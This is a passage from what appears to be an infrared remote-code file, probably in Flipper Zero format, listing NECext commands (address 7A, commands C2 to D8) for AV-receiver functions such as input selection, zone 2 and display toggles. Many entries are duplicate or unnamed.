-protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: MZ:_OSD_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: MZ:_OSD_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: DSP_PARAMETER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: DISP_DISPLAY_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: YDISPLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: ON_SCREEN:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: MAIN:_OSD_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: OSD_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: MZ:_DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: INPUT_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: AUDIO_SEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: MZ:_AUDIO_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: AUDIO_SELECT_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: AUDIO_SEL:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: AUDIO_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: INP_AUDIO_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: MZ:_INPUT_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: INPUT_MODE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: MZ:_AUDIO_SEL_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C3 00 00 00 -# -name: PARAMETER_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C4 00 00 00 -# -name: PAR._CURSER_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C4 00 00 00 -# -name: PARAMETER:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C4 00 00 00 -# -name: PARAMETER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C4 00 00 00 -# -name: GUI:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C4 00 00 00 -# -name: EFFECT_LEVELS_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C5 00 00 00 -# -name: EFFECT_LEVELS_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C5 00 00 00 -# -name: PARAMETER_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C5 00 00 00 -# -name: PAR._CURSER_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C5 00 00 00 -# -name: PARAMETER:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C5 00 00 00 -# -name: GUI:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C5 00 00 00 -# -name: EFFECT_LEVELS_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: PARAMETER_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: PARAMETER_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: Z2_VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: PAR._CURSER_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: PARAMETER:_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: GUI:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C6 00 00 00 -# -name: EFFECT_LEVELS_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 -# -name: PARAMETER_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 -# -name: PARAMETER_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 -# -name: Z2_VCR_2_/_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 -# -name: PAR._CURSER_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 -# -name: PARAMETER:_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 -# -name: GUI:_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C7 00 00 00 -# -name: INPUT:_VCR_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: Z2_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: INPUT_BD/HDDVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: INP_BD/HD_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: INPUT:_VCR3_/_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: MZ:_INP_BDHDDVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: MZ:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: MZ_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: MZ_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C8 00 00 00 -# -name: MD/CDR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: INPUT_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: INPUT:_MD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: MD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: INPUT:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: Z2_D-TV_/_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: INPUT:_MD_/_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: MD/CD-R_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: MZ:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: INPUT:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: MAIN:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: INP_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: ZONE_2_D-TV_/_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 -# -name: INPUT:_SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CA 00 00 00 -# -name: INPUT:_SATELLITE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CA 00 00 00 -# -name: INPUT:SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CA 00 00 00 -# -name: ZONE_2_SIRIUS_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CA 00 00 00 -# -name: ZONE_2_STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CA 00 00 00 -# -name: MZ:_SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CA 00 00 00 -# -name: INPUT:_SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CB 00 00 00 -# -name: ZONE_2_SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CB 00 00 00 -# -name: Z2:_SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CB 00 00 00 -# -name: INPUT:_CB-SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: IN_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2_IN:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: INPUT:_CABLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: INP_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: ZONE_2_CABLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2:_INP_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2:_CABLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CC 00 00 00 -# -name: Z2_INPUT_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: IN_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2_IN_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2_IN:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: ZONE_2_DVD_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: ZONE2_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: ZONE_2:_INPUT_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: ZONE_2_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: ZONE2:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2:_INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: Z2_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CD 00 00 00 -# -name: INPUT:_VCR_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: Z2_IN_BD/HD-DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: INP_BD/HD_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: ZONE_2_VCR_3_/_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: Z2:_INP_BD/HDDVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: Z2:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: Z2_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: Z2_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CE 00 00 00 -# -name: Z2_INPUT_MD/CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: INPUT:_MD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: Z2_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: INPUT:_MD_/_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: DSP_PARAMETER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: ZONE_2_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: Z2:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: ZONE2_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: ZONE_2:_INPUT_MD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: ZONE2:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: Z2_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: CF 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2_INPUT_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: INPUT:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: IN_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2_IN_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2_IN:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: INP_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: ZONE_2:_INPUT_PHON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: ZONE_2_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: ZONE2:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2:_INP_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: Z2_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D0 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2_INPUT_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: IN_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2_IN_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: ZONE_2_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2_IN:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: ZONE_2_CD_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: ZONE2_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: ZONE_2:_INPUT_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: ZONE2:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: Z2_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D1 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2_INPUT_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: IN_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2_IN_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: ZONE_2_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2_IN:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: ZONE_2_TUNER_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: ZONE2_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: ZONE_2:_INPUT_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: ZONE2:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2:_INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: Z2_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D2 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: Z2:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: IN_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: Z2_IN_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: Z2_IN:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: Z2:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: ZONE_2_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: Z2:_INP_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D3 00 00 00 -# -name: Z2_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: Z2:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: IN_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: Z2_IN_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: Z2_IN:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: INPUT:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: INP_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: ZONE_2_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: Z2:_INP_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: Z2_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: Z2_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D4 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D5 00 00 00 -# -name: INPUT:_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D5 00 00 00 -# -name: ZONE_2_DVD/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D5 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2_INPUT_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: INPUT:_VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: VCR-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: IN_VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2_IN_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: ZONE_2_VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2_IN:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: INP_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: ZONE2_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: ZONE_2:_INPUT_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: ZONE2:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2_VCR1(VCR) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2:_INP_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: Z2_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D6 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2_INPUT_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: INPUT:_VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2:_VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2:_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: IN_DVR/VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2_IN_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: ZONE_2_VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2_IN:_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: INPUT:_VCR_2_/_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: INP_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: ZONE_2_DVR_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: ZONE2_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: ZONE_2:_INPUT_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: ZONE_2_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2:_INP_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: Z2_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D7 00 00 00 -# -name: V_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2_INPUT_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: INPUT:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: IN_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2_IN_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2_IN:_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2:_V-AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: INP_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: ZONE_2_V.AUX/DOCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: ZONE2_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: ZONE_2:_INPUT_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2:_V._AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: ZONE2:_V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: Z2_VOLUME_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: D8 00 00 00 -# -name: ZONE_2_V-AUX -type: parsed -protocol: NECext -address: 7A 